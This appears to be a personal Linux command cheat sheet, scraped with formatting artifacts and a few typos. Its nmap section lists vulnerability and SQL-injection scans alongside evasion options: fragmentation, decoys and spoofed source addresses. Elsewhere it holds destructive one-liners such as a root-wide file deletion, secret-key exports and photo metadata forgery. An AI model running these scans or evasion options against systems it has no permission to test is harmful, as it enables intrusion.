dmesg --level=err,warn
dmesg -T
dmesg -tW -l notice | gawk '{ if ($4 == "Attached") { system("echo New device attached | espeak") } }
dmesg -w
dmesg -wx
lspci -nnk | grep -i VGA -A2
lspci -nnk | grep -i audio -A2
(printf "\nCPU\n\n"; lscpu; printf "\nMEMORY\n\n"; free -h; printf "\nDISKS\n\n"; lsblk; printf "\nPCI\n\n"; lspci; printf "\nUSB\n\n"; lsusb; printf "\nNETWORK\n\n"; ifconfig) | less
printf "System load (1m/5m/15m): "; for l in 1 2 3 ; do printf "%.1f%s" "$(( $(cat /proc/loadavg | cut -f $l -d " ") * 100 / $(nproc) ))" "% "; done; printf "\n"
finddevs.sh
(poor man's lsusb):
1
2for sysdevpath in $(find /sys/bus/usb/devices/usb*/ -name dev); do
3 (
4 syspath="${sysdevpath%/dev}"
5 devname="$(udevadm info -q name -p $syspath)"
6 [[ "$devname" == "bus/"* ]] && exit
7 eval "$(udevadm info -q property --export -p $syspath)"
8 [[ -z "$ID_SERIAL" ]] && exit
9 echo "/dev/$devname - $ID_SERIAL"
10 )
11done
du -sh
df -h
mount | column -t
find . -printf '%s %p\n'| sort -nr | head -10
du -hsx * | sort -rh | head -10
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
curl -4 https://icanhazip.com
netstat -tulpn | grep LISTEN
ps auxww
ps --user NAME -F
ps axch -o cmd:15,%mem --sort=-%mem
ps axch -o cmd:15,%cpu --sort=-%cpuw
systemctl --failed
systemctl status NAMEOFUNIT
systemctl list-unit-files --state=enabled --no-pager
cat path/to/archlinux-version-x86_64.iso > /dev/sdx
** path/to/archlinux-version-x86_64.iso /dev/sdx
dd bs=4M if=path/to/archlinux-version-x86_64.iso of=/dev/sdx status=progress oflag=sync
tee < path/to/archlinux-version-x86_64.iso > /dev/sdx
mount -o loop /path/to/image.iso /media/mountpoint
isosize -x /dev/sr0
to determine sector count and size, then run dd if=/dev/sr0 of=discimage.iso bs=SECTOR_SIZE count=SECTOR_COUNT status=progress
xinput list
(e.g. to see Touchpad input on a laptop).xprofile
): xinput disable 'SynPS/2 Synaptics TouchPad'
ps aux
ps auxww
ps aux | grep string
ps --user $(id -u) -F
ps --user $(id -u) f
ps -o ppid= -p pid
ps --sort size
kill -l
kill -1 process_id
kill -2 process_id
kill -9 process_id
pkill -9 "process_name"
-v
: grep -v "roses" poem.txt
-A
, -B
, -C
switches-o
grep /path/to/search -rl -e "oldpattern" | xargs sed -i "s/oldpattern/newpattern/g"
grep "STRING" -rnw .
.wine
and .git
directories: find . -type f \! \( -path '*/\.wine/*' -o -path '*/\.git/*' \)
find . -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head
find . -type f -print0 | xargs -0 sxiv -t
find directory_path -maxdepth 1 -daystart -mtime -1
find . -type f -exec grep -Iq . {} \; -exec grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" {} /dev/null \;
find /etc -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n
find -executable -type f
find <folder> -type f -exec sed -i 's/my big String/newString/g' {} +
find .git/objects/ -type f \| sed 's/\.git\/objects\/\///' | sed 's/\///g' | xargs -n1 -I% echo echo "%" \$\(git cat-file -p "%"\) \0 | xargs -n1 -0 sh -c
find /glftpd/site/archive -type f|grep '([0-9]\{1,9\})\.[^.]\+$'|parallel -n1 -j200% md5sum ::: |awk 'x[$1]++ { print $2 " :::"}'|sed 's/^/Dupe: /g'|sed 's,Dupe,\x1B[31m&\x1B[0m,'
find /home/ -name bk_all_dbProdSlave_\* -mtime +2 -exec rm -f {} \;
find /home -type f \( -name "*.sql.gz" -o -name "*.tar.gz" -mtime +10 \) -exec rm -rf {} \;
find / -maxdepth 1 -mindepth 1 -type d \! -empty \! -exec mountpoint -q {} \; -exec du -xsh {} + | sort -h
find / -maxdepth 1 -mindepth 1 -type d -exec du -skx {} \; | sort -n
find . -maxdepth 1 -mindepth 1 -type d -exec tar cvf {}.tar {} \;
find . -maxdepth 1 -type d -name '*screenflow' -exec tar jcvf {}.tar.bz2 {} \;
find / -maxdepth 1 -type d | xargs -I {} sh -c "mountpoint -q {} || du -sk {}" | sort -n
find . -name "file-pattern*.gz" -exec zgrep -H 'pattern' {} \;
find . -name "*.ipynb" -exec grep -l "symspellpy" {} \;
find / -name "*.jpg" -delete
find . -name "withdrownblocks.frm" | sort -u | awk -F'/' '{print $3}' | wc -l
find . -print0 | xargs -0 -P 40 -n 1 sh -c 'ffmpeg -i "$1" 2>&1 | grep "Duration:" | cut -d " " -f 4 | sed "s/.$//" | tr "." ":"' - | awk -F ':' '{ sum1+=$1; sum2+=$2; sum3+=$3; sum4+=$4 } END { printf "%.0f:%.0f:%.0f.%.0f\n", sum1, sum2, sum3, sum4 }'
find . -print | sed -e 's;[^/]*/;|-- ;g;s;-- |; |;g'
find /source/directory -mindepth 1 -maxdepth 1 -name '*' -print0 | xargs -0 mv -t /target/directory;
find . -type d -empty -exec rm -i -R {} \;
find . -type f -exec grep -Iq . {} \; -exec grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" {} /dev/null \;
find ./ -type f \( -iname '*.html' -or -iname '*.htm' \) -exec sed -i '/<script/,/<\/script>/d' '{}' \;
find ./ -type f -name "somefile.txt" -exec sed -i -e 's/foo/bar/g' {} \;
find . -type f -not -name "*.frm" -not -name "*.MYI" -not -name "*.MYD" -not -name "*.TRG" -not -name "*.TRN" -not -name "db.opt"
find . -type f | perl -ne 'print $1 if m/\.([^.\/]+)$/' | sort -u
find . -type f -printf '%10i %p\n' | sort | uniq -w 11 -d -D | less
find -type f -printf "%S=:=%p\n" 2>/dev/null | gawk -F'=:=' '{if ($1 < 1.0) print $1,$2}'
find . -type f -regex '.*\.\(***\|h\)' -exec file {} + | grep "UTF-8\|extended-ASCII"
find . -type f -regex '.*\.\(***\|h\)' -exec sed -i 's/^[[:blank:]]\+$//g' {} +
find / -type f ! -regex '^/\(dev\|proc\|run\|sys\).*' | sed 's@^\(.*\)/[^/]*$@\1@' | sort | uniq -c | sort -n | tail -n 10
find / -type f -size +20000k -exec ls -lh {} \; 2> /dev/null | awk '{ print $NF ": " $5 }' | sort -nrk 2,2
find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n | tail
tar cf target.tar file1 file2 file3
tar czf target.tar.gz file1 file2 file3
tar czf target.tar.gz --directory=path/to/directory .
tar xf [source.tar.gz|.bz2|.xz]
tar xf [source.tar.gz|.bz2|.xz] --directory=directory
tar caf target.tar.xz file1 file2 file3
tar tvf source.tar
tar xf source.tar --wildcards "*.html"
sed 's/regex/replace/' filename
sed -r 's/regex/replace/g' filename
sed -i 's/find/replace/g' filename
sed '/line_pattern/s/find/replace/' filename
sed '/line_pattern/d' filename
sed 11q filename
sed -e 's/find/replace/' -e 's/find/replace/' filename
/
by any other character not used in the find or replace patterns, e.g., #
: sed 's#find#replace#' filename
sed -e 's/dapper/edgy/g' -i /etc/apt/sources.list
sed -i 's/show_formhist = 1/show_formhist = 0/;s/confirm_submit = 0/confirm_submit = 1/g' /etc/elinks/elinks.conf; elinks -dump https://facebook.com
sed -n '12p;13q' file
sed -n '1,2p;3q' file
sed '/^\s*abstract\s*=\s*{[^\n]*},$/ d' input.bib > output.bib
sed 's/^[^:]*://g'
sed 's/linux-[^ ]* \{0,1\}//g' /path/to/file
sed 's/\r//g' < input.txt > output.txt
diff <(!!) <(!-2)
diff file1 file2 --side-by-side --suppress-common-lines
diff <(mysqldump -hsystem db_name --no-data --routines) <(mysqldump -hsystem2 db_name --no-data --routines) --side-by-side --suppress-common-lines --width=690 | more
diff <(tree /dir/one) <(tree /dir/two)
disown -a && exit
pacman -S <package name>
pacman -Syu
pacman -Ss <string>
pacman -Qs <string>
pacman -Rns <package name>
pacman -Fy filename
pacman -Q
pacman -Qe
pacman -Qn
pacman -Qm
pacman -Qdt
pacman -Sc
pacman -Rns $(pacman -Qsq SEARCHSTRING)
LC_ALL=C pacman -Qi | wak '/^Name/{name=$3} /^Installed Size/{print $4$5, name}' | sort -h
https://networkmanager.dev/docs/
man 1 nmcli man 5 nmcli-examples man 1 nmtui man 1 nm-online man 8 nm-cloud-setup man 8 nm-initrd-generator man 7 nm-openvswitch
nmcli -t -f RUNNING general
nmcli -t -f STATE general
nmcli radio wifi off
nmcli connection show
nmcli -p -m multiline -f all con show
nmcli connection show --active
nmcli -f name,autoconnect c s
nmcli -p connection show "My default em1"
nmcli --show-secrets connection show "My Home Wi-Fi"
nmcli -f active connection show "My default em1"
nmcli -f profile con s "My wired connection"
nmcli -p con up "My wired connection" ifname eth0
nmcli con up 6b028a27-6dc9-4411-9886-e9ad1dd43761 ap 00:3A:98:7C:42:D3
nmcli device status
nmcli dev disconnect em2
nmcli -f GENERAL,WIFI-PROPERTIES dev show wlan0
nmcli -f CONNECTIONS device show wlp3s0
nmcli dev wifi
nmcli dev wifi con "Cafe Hotspot 1" password caffeine name "My cafe"
nmcli -s dev wifi hotspot con-name QuickHotspot
nmcli dev modify em1 ipv4.method shared
nmcli dev modify em1 ipv6.address 2001:db8::a:bad:c0de
nmcli connection add type ethernet autoconnect no ifname eth0
nmcli c a ifname Maxipes-fik type vlan dev eth0 id 55
nmcli c a ifname eth0 type ethernet ipv4.method disabled ipv6.method link-local
nmcli connection edit ethernet-em1-2
nmcli connection edit type ethernet con-name "yet another Ethernet connection"
nmcli con mod ethernet-2 connection.autoconnect no
nmcli con mod "Home Wi-Fi" wifi.mtu 1350
nmcli con mod em1-1 ipv4.method manual ipv4.addr "192.168.1.23/24 192.168.1.1, 10.10.1.5/8, 10.0.0.11"
nmcli con modify ABC +ipv4.dns 8.8.8.8
nmcli con modify ABC -ipv4.addresses "192.168.100.25/24 192.168.1.1"
nmcli con import type openvpn file ~/Downloads/frootvpn.ovpn
man nmcli-examples
PulseAudio is a general purpose sound server. It is intended to run as a middleware between your applications and your hardware devices, either using ALSA or OSS. It also offers easy network streaming across local devices using Avahi if enabled. PulseAudioclients can send audio to "sinks" and receive audio from "sources". So, sinks are outputs (audio goes there), sources are inputs (audio comes from there).
pactl set-sink-volume 1 0.75
pamixer --set-volume 75
@DEFAULT_SINK@
): pactl set-sink-mute @DEFAULT_SINK@ toggle
pamixer --toggle-mute --sink ID
pamixer --increase 5
pamixer --decrease 5 --source ID
pactl move-sink-input 627 1
pamixer --set-volume 105 --allow-boost
--unmute
instead to unmute): pamixer --mute
pactl set-default-sink 1
pamixer --list-sinks --list-sources
LANG=C pactl list | grep -A2 'Source #' | grep 'Name: ' | cut -d" " -f2
pactl list sinks short
pacmd load-module module-null-sink sink_name=MySink && pacmd update-sink-proplist MySink device.description=MySink
xxxxxxxxxx
31SOURCE=$(pactl list | grep -A2 'Source #' | grep 'Name: ' | cut -d" " -f2 | fzf --prompt="Select source >")
2SINK=$(pactl list | grep -A2 'Sink #' | grep 'Name: ' | cut -d" " -f2 | fzf --prompt="Select sink >")
3PULSE_SOURCE="$SOURCE" PULSE_SINK="$SINK" ffplay "https://holiday.stream.publicradio.org/holiday_yc.aac"
So much to do here - probably - skip this unless you know what you're doing.
On Arch Linux, install packages bluez
, bluez-utils
, and recommended pulseaudio-bluetooth
Enable bluetooth with systemctl enable --now bluetooth
bluetoothctl
power on
agent on
default-agent
scan on
pair <TAB>
connect <TAB>
TIPS:
org.bluez.Error.Failed
error
bluetooth.service
running?systemctl status bluetooth
pulseaudio -k
, then try connecting againBy default, bluetooth power is not on. Change this: https://wiki.archlinux.org/index.php/bluetooth#Auto_power-on_after_boot
To automate bluetoothctl commands, use echo -e "<command1>\n<command2>\n" | bluetoothctl
Again, lots to do. Reader beware.
pacman -S cups cups-pdf gutenprint system-config-printer
systemctl enable --now cups
(reboot may be necessary regardless)
system-config-printer
Google search for the PPD file and add it manually
https://gist.github.com/edoz90/660a2a67b9bc8a815ba537530137636a
https://wiki.linuxfoundation.org/openprinting/database/cupsdocumentation
http://localhost:631 is the CUPS web interface.
Helpful commands:
lpstat -s
to view the status of known printers
lpoptions -l
to list all known options
lpoptions -d Ricoh-SP-C440DN
to list printing options for Ricoh
lpr -P Ricoh-SP-C440DN <file>
to print
More: https://wiki.archlinux.org/index.php/CUPS#CLI_tools
ssh-keygen
eval "$(ssh-agent -s)
and ssh-add ~/.ssh/NAMEOFYOURKEY
~/.ssh/id_rsa.pub
to remote-server.org: $ ssh-copy-id -i ~/.ssh/is_rsa.pub username@remote-server.org
$ ssh-copy-id -i ~/.ssh/id_ed25519.pub -p 221 username@remote-server.org
scp -i ~/.ssh/private_key local_file remote_host:/path/remote_file
SSH security (make sure you can login using your key first!) /etc/ssh/sshd_config
:
PasswordAuthentication no
and PermitRootLogin no
pass init <same-email-as-full-gen-key>
pass git init
pass insert somecompany
pass somecompany
pass rm somecompany
pass generate somecompany 10
pass -c somecompany
pass rm somecompany
pass find *company*
pass edit somecompany
TODO: how do we move the store safely? bring keys? can we remotely access the store and have some security still?
Don't even bother - there's too much security risk here. I have this here for my own notes. Figure these things out slowly and carefully on your system.
gnupg
, pass
, pam-gnupg
.gpg --full-gen-key
$PASSWORD_STORE_DIR
, or:
Initiate a password-store: pass init <same-email-as-full-gen-key>
$GNUPGHOME
variable (~/.local/share/gnupg
is used here)To import keys:
(elsewhere) gpg --list-secret-keys user@example.com
(elsewhere) gpg --export-secret-keys user@example.com > private.key
(new location) gpg --import private.key
(new location) To allow the key trust:
gpg --edit-key GPGKEY
trust
Use shred -uz
(careful!) to destroy the private key in the old location
This activates sudopass
to allow w!!
in vim, and neomutt
syncing with isync
1. Transfer gnupg keys to new machine or create a new one gpg --full-key-gen
2. Initialize a password store pass init EMAIL
3. Add your sudo password with pass add local/USER@HOSTNAME
4. Because my gnupg lives elsewhere,
- Need ~/.pam_environment
with:
GNUPGHOME DEFAULT=@{HOME}/.local/share/gnupg
XDG_CONFIG_HOME DEFAULT=@{HOME}/.config
5. Install pam-gnupg
(AUR / github) andinetutils
(enable hostname
)
6. Add auth optional pam_gnupg.so
to /etc/pam.d/system-local-login
(see https://github.com/cruegge/pam-gnupg#setup-guide if you are using a login manager)
7. Add keygrip from gpg -K --with-keygrip
to ~/.config/pam-gnupg
(gpg -K --with-keygrip | tail -n2 | grep -Po "(?<=Keygrip = ).*" >> ~/.config/pam-gnupg
)
xxxxxxxxxx
31NOTE: GnuPG may complain about unsafe permissions on gnupg directory:
2- Files in `gnupg` should be `600` and directories `700` (use `chmod`)
3- `find -type f $GNUPGHOME -exec chmod 600 {}`
doc.txt
without encryption (writes output to doc.txt.asc
): gpg --clearsign doc.txt
doc.txt
for alice@example.com (output to doc.txt.gpg
): gpg --encrypt --recipient alice@example.com doc.txt
doc.txt
with only a passphrase (output to doc.txt.gpg
): gpg --symmetric doc.txt
doc.txt.gpg
(output to stdout): gpg --decrypt doc.txt.gpg
gpg --import public.gpg
gpg --export --armor alice@example.com
gpg --export-secret-keys --armor alice@example.com
tar -c dir/ | gzip | gpg -c | ssh user@remote 'dd of=dir.tar.gz.gpg'
tar --create --file - --posix --gzip -- <dir> | openssl enc -e -aes256 -out <file>
md5sum -c filename.md5
openssl aes-256-cbc -a -salt -iter 5 -in data.tar.gz -out data.enc
openssl aes-256-cbc -d -a -iter 5 -in data.enc -out data_decrypted.tar.gz
echo | openssl s_client -connect google.com:443 2>&1 | openssl x509 -noout -text | awk -F, -v OFS="\n" '/DNS:/{x=gsub(/ *DNS:/, ""); $1=$1; print $0}'
echo | openssl s_client -servername ftp.domain.com -connect ftp.domain.com:21 -starttls ftp 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
echo | openssl s_client -showcerts -connect ftp.domain.com:ftp -starttls ftp 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
echo | openssl s_client -showcerts -servername google.com -connect gnupg.org:443 2>/dev/null | openssl x509 -inform pem -noout -text
openssl dgst -sha256 <FILENAME>
openssl rand -rand /dev/urandom -base64 30
openssl req -newkey rsa:2048 -nodes -keyout /etc/ssl/private/myblog.key -x509 -days 365 -out /etc/ssl/private/myblog.pem
openssl req -out CSR.csr -key privateKey.key -new
openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key
openssl s_client -connect HOSTNAME.at:443 -showcerts </dev/null 2>/dev/null | openssl x509 -outform PEM > meinzertifikat.pem
openssl s_client -showcerts -connect google.com:443 </dev/null 2>/dev/null|openssl x509 -outform PEM > /tmp/google.com.cer
openssl speed md5
openssl x509 -in cert.pem -fingerprint -noout
openssl x509 -x509toreq -in certificate.crt -out CSR.csr -signkey privateKey.key
openssl s_client -showcerts -host example.com -port 443 </dev/null
nmap 192.168.1.1
nmap 192.168.1.1 192.168.2.1
nmap 192.168.1.1-254
nmap scanme.nmap.org
nmap 192.168.1.0/24
nmap -iL targets.txt
nmap -iR 100
nmap --exclude 192.168.1.1
nmap 192.168.1.1 -sS
nmap 192.168.1.1 -sT
nmap 192.168.1.1 -sU
nmap 192.168.1.1 -sA
nmap 192.168.1.1 -sW
nmap 192.168.1.1 -sM
nmap 192.168.1.1-3 -sL
nmap 192.168.1.1/24 -sn
nmap 192.168.1.1-5 -Pn
nmap 192.168.1.1-5 -PS22-25,80
nmap 192.168.1.1-5 -PA22-25,80
nmap 192.168.1.1-5 -PU53
nmap 192.168.1.1-1/24 -PR
nmap 192.168.1.1 -n
nmap 192.168.1.1 -p 21
nmap 192.168.1.1 -p 21-100
nmap 192.168.1.1 -p U:53,T:21-25,80
nmap 192.168.1.1 -p-
nmap 192.168.1.1 -p http,https
nmap 192.168.1.1 -F
nmap 192.168.1.1 --top-ports 2000
nmap 192.168.1.1 -p-65535
nmap 192.168.1.1 -p0-
nmap 192.168.1.1 -sV
nmap 192.168.1.1 -sV --version-intensity 8
nmap 192.168.1.1 -sV --version-light
nmap 192.168.1.1 -sV --version-all
nmap 192.168.1.1 -A
nmap 192.168.1.1 -O
nmap 192.168.1.1 -O --osscan-limit
nmap 192.168.1.1 -O --osscan-guess
nmap 192.168.1.1 -O --max-os-tries 1
nmap 192.168.1.1 -A
nmap 192.168.1.1 -T0
nmap 192.168.1.1 -T1
nmap 192.168.1.1 -T2
nmap 192.168.1.1 -T3
nmap 192.168.1.1 -T4
nmap 192.168.1.1 -T5
TODO (original website did not have complete examples):
Give up on target after this long: 1s; 4m; 2h
Specifies probe round trip time: 1s; 4m; 2h
Parallel host scan group sizes: 50; 1024
Probe parallelization: 10; 1
Adjust delay between probes: 20ms; 2s; 4m; 5h
Specify the maximum number of port scan probe retransmissions
Send packets no slower than
nmap 192.168.1.1 -sC
nmap 192.168.1.1 --script default
nmap 192.168.1.1 --script=banner
nmap 192.168.1.1 --script=http*
nmap 192.168.1.1 --script=http,banner
nmap 192.168.1.1 --script "not intrusive"
nmap --script snmp-sysdescr --script-args snmpcommunity=admin 192.168.1.1
nmap -Pn --script=http-sitemap-generator scanme.nmap.org
nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000
nmap -Pn --script=dns-brute domain.com
nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1
nmap --script whois* domain.com
nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org
nmap -p80 --script http-sql-injection scanme.nmap.org
nmap -f -t 0 -n -Pn –data-length 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1
nmap 192.168.1.1 -f
nmap 192.168.1.1 --mtu 32
nmap -D 192.168.1.101,192.168.1.102, 192.168.1.103,192.168.1.23 192.168.1.1
nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip
nmap -S www.microsoft.com www.facebook.com
nmap -g 53 192.168.1.1
nmap --proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1
nmap --data-length 200 192.168.1.1
nmap 192.168.1.1 -oN normal.file
nmap 192.168.1.1 -oX xml.file
nmap 192.168.1.1 -oG grep.file
nmap 192.168.1.1 -oA results
nmap 192.168.1.1 -oG -
nmap 192.168.1.1 -oN file.file --append-output
nmap 192.168.1.1 -v
nmap 192.168.1.1 -d
nmap 192.168.1.1 --reason
nmap 192.168.1.1 --open
nmap 192.168.1.1 -T4 --packet-trace
nmap --iflist
nmap --resume results.file
nmap -p80 -sV -oG - --open 192.168.1.1/24 | grep open
nmap -iR 10 -n -oX out.xml | grep "Nmap" | cut -d " " -f5 > live-hosts.txt
nmap -iR 10 -n -oX out2.xml | grep "Nmap" | cut -d " " -f5 >> live-hosts.txt
ndiff scanl.xml scan2.xml
xsltproc nmap.xml -o nmap.html
grep " open " results.nmap | sed -r 's/ +/ /g' | sort | uniq -c | sort -rn | less
nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn
nmap 192.168.1.1-1/24 -PR -sn -vv
nmap -iR 10 -sn -traceroute
nmap 192.168.1.1-50 -sL --dns-server 192.168.1.1
fc-list
st
is using: lsof -p $(ps -o pid --no-headers -C st) | grep fonts
git checkout name-of-branch
git checkout NAMEOFTHEBRANCH FILE1 FILE2
git checkout HEAD~2 -- file1/to/restore
git checkout c5f567 -- file1/to/restore file2/to/restore
git status --untracked-files=no
compact-summary
to compare two branches with a simple summary: git diff --compact-summary <branch1> <branch2>
-b
switch to make a new branch and carry over staged files.: git checkout -b name-of-new-branch
git config --show-origin --list
git config --global alias.lg2 "log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset)%C(bold yellow)%d%C(reset)%n''%C(white)%s%C(reset) %C(dim white)- %an%C(reset)' --all"
adb shell "input keyevent KEYCODE_CAMERA"
adb shell getevent -pl
adb shell pm list packages
adb shell monkey -p com.dev47apps.droidcamx 1
adb shell input keyevent 26
You want to be able to combine an audio and microphone sink to share while live streaming: https://www.reddit.com/r/archlinux/comments/klmyec/how_to_play_audio_files_as_input/ghaclhs?utm_source=share&utm_medium=web2x&context=3
pactl list sinks short
list
subcommand): pactl set-default-sink 1
pactl move-sink-input 627 1
pactl set-sink-volume 1 0.75
@DEFAULT_SINK@
): pactl set-sink-mute @DEFAULT_SINK@ toggle
Home security, using your phone as a camera, what's not to love? DroidcamX is worth the $5 or whatever - it's really good.
Droidcam
app - DroidcamX
is a way better alternative (not free)linux-headers-lts
for the lts kernel, etc.)adb
and droidcam
packages (installs v4l2loopback-dc-dkms
)sudo modprobe v4l2loopback_dc video_nr=42
adb start-server
adb devices
droidcam-cli -v adb 4747 &
or droidcam
droidcam
on phone and then on computerpacmd load-module module-alsa-source device=hw:Loopback,1,0
pactl list short sources
to verify the ID of the loopback device (used in ffmpeg recording)pavucontrol
to verify that the phone microphone is activeffplay /dev/videoX
- replace X with your deviceffplay -vf "vflip,hflip" /dev/video0
sudo rmmod v4l2loopback_dc
sudo insmod /lib/modules/
uname -r/kernel/extramodules/v4l2loopback-dc.ko width=1920 height=1080
Restart the droidcam client to reload the settings, and test it out. You can keep changing the resolution.
Edit the text file /etc/modprobe.d/droidcam.conf with the new options to make the change stick.Example /etc/modprobe.d/droidcam.conf
:
xxxxxxxxxx
21options v4l2loopback_dc width=1920 height=1080
2options snd-aloop index=0
It’s also possible to invert the video size (eg. 480×640, width=480 height=640), which will make the webcam vertical and rotate the video 90º. Not all programs may load the webcam with inverted parameters (eg. Discord does not) but many do (eg. Zoom and OBS).
List all fonts available to ImageMagick: convert -list fonts
Change all white pixels in an image to transparent (needs to PNG!): convert test.png -transparent white transparent.png
"Diff" two images (first shows the result as a PNG, second as a PDF): compare image1 image2 -compose src diff.png
Changing all JPGs to a width of 120px and save as PNG: magick '*.jpg' -resize 120x thumbnail%03d.png
Extract text from an image (requires tesseract
): convert -colorspace gray -fill white -resize 480% -sharpen 0x1 in.png out.jpg && tesseract out.jpg out.txt
Replace transperancy with white background: convert -flatten img1.png img1-white.png
Convert all images in directory to 25% of original size and put all converted images into subdirectory: mogrify -scale 25% -path ./thumbs *.*
Crop an image: convert image.png -crop 200x300+20+20 cropped.png
Calculate a hash of image data (ImageMagick): identify -quiet -format "%#" "./path/to/file"
stdout text to image: convert -background lightblue -fill blue -font DejaVu-Sans-Mono-Book -pointsize 72 label:@- cal.gif <<< $(cal)
Combine cal
calendar output with an image: convert -font DejaVu-Sans-Mono-Book -fill '#0008' -draw 'rectangle 200,180,960,680' -fill white -pointsize 50 -draw "text 270,260 \"
cal\"" bg.png bgcal.png
convert original.png -gravity Center -extent 110%x110% original_grown.png
magick master.JPG -fuzz 5% -bordercolor white -border 1 -fill none -draw "alpha 0,0 floodfill" -shave 1x1 result.png
DEL /F /S /Q /A %LocalAppData%\Microsoft\Windows\Explorer\thumbcache_*.db
for i in *.jpg; do identify -format %[EXIF:DateTimeOriginal] $i; echo; done
exiftool "-AllDates=1986:11:05 12:00:00" a.jpg; exiftool "-DateTimeOriginal>FileModifyDate" a.jpg
exiftool "-DateTimeOriginal+=0:0:0 15:30:0" a.jpg
exiftool -ee -p "$gpslatitude, $gpslongitude, $gpstimestamp" a.m2ts
"exiftool(-k).exe" "-DateTimeOriginal-=0:0:0 0:25:0" .
exiftool '-MDItemFSCreationDate<CreationDate' '-FileModifyDate<CreationDate' '-filename<CreationDate' -d %Y-%m-%d_%H-%M-%S%%+c.%%le . -ext mov
exiftool -model="Samsung Galaxy S11 PRO EDITION " a.jpg
A good x264 read: x264 --fullhelp
ffmpeg -i input.mp4 -vcodec libx265 -crf 28 output.mp4
ffmpeg -i final3.mp4 -c:v libx264 -crf 40 -profile:v baseline -level 3.0 -pix_fmt yuv420p -movflags faststart final3_264.mp4
ffmpeg -ss 00:35:10 -i original.mp4 -to 00:37:29 -c copy out.mp4
ffmpeg -ss 00:35:10.0 -i input.wmv -t 00:01:34 -c copy output.wmv
ffmpeg -i in.mov -vf "transpose=0" out.mov
ffmpeg -i in.mov -vf "transpose=1" out.mov
ffmpeg -i in.mov -vf "transpose=2" out.mov
ffmpeg -i in.mov -vf "transpose=3" out.mov
ffmpeg -i original.mp4 -vf hflip original_flipped.mp4
ffmpeg -start_number 0053 -r 1/5 -i IMG_%04d.JPG -c:v libx264 -vf fps=25 -pix_fmt yuv420p out.mp4
ffmpeg -i main.mp4 -i inset.mp4 -filter_complex 'overlay=main_w-overlay_w+(1920-192*2.5):main_h-overlay_h+(1080-108*2.5)' -t 5 output.mp4
ffmpeg -i lights.mp4 -vf 'color=color=red@.3:size=1920x1080 [over]; [in][over] overlay [out]' -t 5 output.mp4
ffmpeg -i video1.mp4 -i video2.mp4 -filter_complex "xfade=offset=20:duration=2" v1_to_v2.mp4
FFMPEG transition effects:
xxxxxxxxxx
61'custom' 'fade' 'wipeleft' 'wiperight' 'wipeup' 'wipedown' 'slideleft' 'slideright' 'slideup'
2'slidedown' 'circlecrop' 'rectcrop' 'distance' 'fadeblack' 'fadewhite' 'radial'
3'smoothleft' 'smoothright' 'smoothup' 'smoothdown' 'circleopen' 'circleclose'
4'vertopen' 'vertclose' 'horzopen' 'horzclose' 'dissolve' 'pixelize' 'diagtl'
5'diagtr' 'diagbl' 'diagbr' 'hlslice' 'hrslice' 'vuslice' 'vdslice' 'hblur'
6'fadegrays' 'wipetl' 'wipetr' 'wipebl' 'wipebr' 'squeezeh' 'squeezev'
ffmpeg -i video.mp4 -vf vidstabtransform=smoothing=30 video_stab.mp4
ffmpeg -i file.mpg -r 1/1 $filename%03d.bmp
ffmpeg -i in.mkv -i cover.jpg -map 0 -map 1 -c copy -c:v:1 png -disposition:v:1 attached_pic -sameq out.mkv
ffmpeg -ss 30 -t 3 -i VIDEO.mp4 -vf "fps=10,scale=320:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" -loop 0 OUTPUT.gif
ffmpeg -skip_frame nokey -i *.mp4 -vsync 0 -r 30 -f image2 t%02d.tiff
ffmpeg -nostdin example.mkv &> log.txt &
ffmpeg -i "https://chillout.zone/chillout_plus" -map 0 -c:a copy -f tee "output.flac|[f=nut]pipe:" | ffplay pipe:
ffmpeg -f v4l2 -i /dev/video0 -map 0 -c:v libx264 -f tee "output.mp4|[f=nut]pipe:" | ffplay pipe:
ffmpeg -f x11grab -s 1440x900 -i :0.0 -f alsa -i hw:0 out.mkv
Reduce background noise: https://superuser.com/questions/733061/reduce-background-noise-and-optimize-the-speech-from-an-audio-clip-using-ffmpeg
ffmpeg -i <nput_file> -af "highpass=f=200, lowpass=f=3000" <output_file>
ffmpeg -i input.mp4 -af "arnndn=m=bd.rnnn" -c:v copy denoised.mp4
ffmpeg -i denoised.mp4 -af "volume=4" -c:v copy boosted.mp4
cat mylist.txt
:
x1file '/path/to/file1'
2file '/path/to/file2'
3file '/path/to/file3'
4
ffmpeg -f concat -safe 0 -i mylist.txt -c copy output.mp4
xxxxxxxxxx
171ffmpeg -i 1.mp4 -i 2.mp4 -an \
2-filter_complex \
3" [0:v]trim=start=0:end=13.47,setpts=PTS-STARTPTS[firstclip];
4 [1:v]trim=start=1,setpts=PTS-STARTPTS[secondclip];
5 [0:v]trim=start=13.47:end=14.47,setpts=PTS-STARTPTS[fadeoutsrc];
